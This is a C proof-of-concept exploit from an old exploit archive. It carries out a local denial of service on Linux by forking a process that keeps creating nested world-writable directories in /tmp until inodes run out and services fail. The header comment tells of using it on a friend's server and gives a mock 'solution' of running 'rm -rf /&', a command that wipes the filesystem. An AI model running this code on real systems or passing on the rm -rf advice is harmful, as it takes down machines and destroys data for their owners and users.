/*

  01-07-02

  simple local DoS exploit for Linux
  Discovered By: miyamin and ntfx
  Legion2000SR http://legion2000.security.nu
  Tested on:  Linux Slackware 7.1  Kernel 2.2.21

  I found this accidentally while trying to create a condition on a friends linux server.
  About 1 or 2 minutes after it started, all the commands started to fail, the box was behaving
  as if someone had chmod -R 700 / as root.  The result of using up all the inodes.  After the
  commands stopped working the box become more and more lagged until the services were dead
  completely.  Fun.

  Solution:

    1. rm -rf /&
    2. install bsd

    or maybe setting quotas might help, but the above method is preferred.


    mimayin@inbox.lv

*/


#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

void banner()
{
  printf("\nfucklinux.c: Linux local DoS proof-of-concept exploit, use on your own system only.\n");
  printf("  Tested on: Slackware 7.1 kernel 2.2.21\n");
  printf("     Author: mimayin@inbox.lv\n\n");
}

int main()
{
  mode_t mo = S_IRWXU | S_IRWXG | S_IRWXO;
  char one[256];
  char two[256];
  char ma[]="\x2e\x2c";

  banner();

  memset(one,0x41,255);
  memset(two,0x42,255);
  one[255]=0;two[255]=0;

  chdir("/tmp");
  mkdir(ma,mo);
  chmod(ma,mo);
  chdir(ma);

  printf("Kiss your terminal goodbye...\n");

  if(fork()==0)
  {
    while(1)
    {
      mkdir(one,mo);
      chmod(one,mo);
      chdir(one);
      mkdir(two,mo);
      chmod(two,mo);
      chdir(two);
      sleep(15);
    }
  }

  printf("\n");

  return 0;
}